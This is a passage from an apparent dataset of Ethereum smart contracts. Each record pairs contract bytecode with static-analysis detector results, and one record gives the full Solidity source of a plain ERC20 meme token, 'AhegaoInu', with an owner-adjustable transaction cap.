ffffffffff1681526020019081526020016000205461255890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ca816125b6565b6123d48483612673565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612431919061303c565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea00000905061247a683635c9adc5dea00000600854611dbd90919063ffffffff16565b82101561249957600854683635c9adc5dea000009350935050506124a2565b81819350935050505b9091565b60008060008060008060008060006124c38a600a54600b546126ad565b92509250925060006124d361224e565b905060008060006124e68e878787612743565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061255083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cde565b905092915050565b60008082846125679190613172565b9050838110156125ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a390612f3c565b60405180910390fd5b8091505092915050565b60006125c061224e565b905060006125d78284611d4290919063ffffffff16565b905061262b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126888260085461250e90919063ffffffff16565b6008819055506126a38160095461255890919063ffffffff16565b6009819055505050565b6000806000806126d960646126cb888a611d4290919063ffffffff16565b611dbd90919063ffffffff16565b9050600061270360646126f5888b611d4290919063ffffffff16565b611dbd90919063ffffffff16565b9050600061272c8261271e858c61250e90919063ffffffff16565b61250e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061275c8589611d4290919063ffffffff16565b905060006127738689611d4290919063ffffffff16565b9050600061278a8789611d4290919063ffffffff16565b905060006127b3826127a5858761250e90919063ffffffff16565b61250e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127df6127da846130f1565b6130cc565b905080838252602082019050828560208602820111156127fe57600080fd5b60005b8581101561282e57816128148882612838565b845260208401935060208301925050600181019050612801565b5050509392505050565b6000813590506128478161372f565b92915050565b60008151905061285c8161372f565b92915050565b600082601f83011261287357600080fd5b81356128838482602086016127cc565b91505092915050565b60008135905061289b81613746565b92915050565b6000815190506128b081613746565b92915050565b6000813590506128c58161375d565b92915050565b6000815190506128da8161375d565b92915050565b6000602082840312156128f257600080fd5b600061290084828501612838565b91505092915050565b60006020828403121561291b57600080fd5b60006129298482850161284d565b91505092915050565b6000806040838503121561294557600080fd5b600061295385828601612838565b925050602061296485828601612838565b9150509250929050565b60008060006060848603121561298357600080fd5b600061299186828701612838565b93505060206129a286828701612838565b92505060406129b3868287016128b6565b9150509250925092565b600080604083850312156129d057600080fd5b60006129de85828601612838565b92505060206129ef858286016128b6565b9150509250929050565b600060208284031215612a0b57600080fd5b600082013567ffffffffffffffff811115612a2557600080fd5b612a3184828501612862565b91505092915050565b600060208284031215612a4c57600080fd5b6000612a5a8482850161288c565b91505092915050565b600060208284031215612a7557600080fd5b6000612a83848285016128a1565b91505092915050565b600060208284031215612a9e57600080fd5b6000612aac848285016128b6565b91505092915050565b600080600060608486031215612aca57600080fd5b6000612ad8868287016128cb565b9350506020612ae9868287016128cb565b9250506040612afa868287016128cb565b9150509250925092565b6000612b108383612b1c565b60208301905092915050565b612b2581613287565b82525050565b612b3481613287565b82525050565b6000612b458261312d565b612b4f8185613150565b9350612b5a8361311d565b8060005b83811015612b8b578151612b728882612b04565b9750612b7d83613143565b925050600181019050612b5e565b5085935050505092915050565b612ba181613299565b82525050565b612bb0816132dc565b82525050565b6000612bc182613138565b612bcb8185613161565b9350612bdb8185602086016132ee565b612be481613428565b840191505092915050565b6000612bfc602383613161565b9150612c0782613439565b604082019050919050565b6000612c1f601983613161565b9150612c2a82613488565b602082019050919050565b6000612c42602a83613161565b9150612c4d826134b1565b604082019050919050565b6000612c65602283613161565b9150612c7082613500565b604082019050919050565b6000612c88601b83613161565b9150612c938261354f565b602082019050919050565b6000612cab602183613161565b9150612cb682613578565b604082019050919050565b6000612cce602083613161565b9150612cd9826135c7565b602082019050919050565b6000612cf1602983613161565b9150612cfc826135f0565b604082019050919050565b6000612d14602583613161565b9150612d1f8261363f565b604082019050919050565b6000612d37601a83613161565b9150612d428261368e565b602082019050919050565b6000612d5a602483613161565b9150612d65826136b7565b604082019050919050565b6000612d7d601783613161565b9150612d8882613706565b602082019050919050565b612d9c816132c5565b82525050565b612dab816132cf565b82525050565b6000602082019050612dc66000830184612b2b565b92915050565b6000604082019050612de16000830185612b2b565b612dee6020830184612b2b565b9392505050565b6000604082019050612e0a6000830185612b2b565b612e176020830184612d93565b9392505050565b600060c082019050612e336000830189612b2b565b612e406020830188612d93565b612e4d6040830187612ba7565b612e5a6060830186612ba7565b612e676080830185612b2b565b612e7460a0830184612d93565b979650505050505050565b6000602082019050612e946000830184612b98565b92915050565b60006020820190508181036000830152612eb48184612bb6565b905092915050565b60006020820190508181036000830152612ed581612bef565b9050919050565b60006020820190508181036000830152612ef581612c12565b9050919050565b60006020820190508181036000830152612f1581612c35565b9050919050565b60006020820190508181036000830152612f3581612c58565b9050919050565b60006020820190508181036000830152612f5581612c7b565b9050919050565b60006020820190508181036000830152612f7581612c9e565b9050919050565b60006020820190508181036000830152612f9581612cc1565b9050919050565b60006020820190508181036000830152612fb581612ce4565b9050919050565b60006020820190508181036000830152612fd581612d07565b9050919050565b60006020820190508181036000830152612ff581612d2a565b9050919050565b6000602082019050818103600083015261301581612d4d565b9050919050565b6000602082019050818103600083015261303581612d70565b9050919050565b60006020820190506130516000830184612d93565b92915050565b600060a08201905061306c6000830188612d93565b6130796020830187612ba7565b818103604083015261308b8186612b3a565b905061309a6060830185612b2b565b6130a76080830184612d93565b9695505050505050565b60006020820190506130c66000830184612da2565b92915050565b60006130d66130e7565b90506130e28282613321565b919050565b6000604051905090565b600067ffffffffffffffff82111561310c5761310b6133f9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317d826132c5565b9150613188836132c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bd576131bc61339b565b5b828201905092915050565b60006131d3826132c5565b91506131de836132c5565b9250826131ee576131ed6133ca565b5b828204905092915050565b6000613204826132c5565b915061320f836132c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132485761324761339b565b5b828202905092915050565b600061325e826132c5565b9150613269836132c5565b92508282101561327c5761327b61339b565b5b828203905092915050565b6000613292826132a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e7826132c5565b9050919050565b60005b8381101561330c5780820151818401526020810190506132f1565b8381111561331b576000848401525b50505050565b61332a82613428565b810181811067ffffffffffffffff82111715613349576133486133f9565b5b80604052505050565b600061335d826132c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133905761338f61339b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61373881613287565b811461374357600080fd5b50565b61374f81613299565b811461375a57600080fd5b50565b613766816132c5565b811461377157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204cda67aa0966ef52bf9bea7c8c2d563862011f7533c72a8d9b3e4985c1f299db64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,281 |
0x8a9cc10d380f0f3fa360ec10d2f4563cc95c7520
|
// SPDX-License-Identifier: MIT
//
// Ahegao Inu
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AhegaoInu is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'AhegaoInu ';
string private _symbol = 'AINU';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c3a61d34299d5c746d0902fc19936ae40c3c3da311784797a1e03769e3a37b7b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,282 |
0x348e03fd4086212732e312d0d43adef43d5b5178
|
/**
*Submitted for verification at Etherscan.io on 2021-10-14
*/
/**
New anime token -廾ㄩ𝓝ㄒ㠪尺乂廾ㄩ𝓝ㄒ㠪尺- ETH
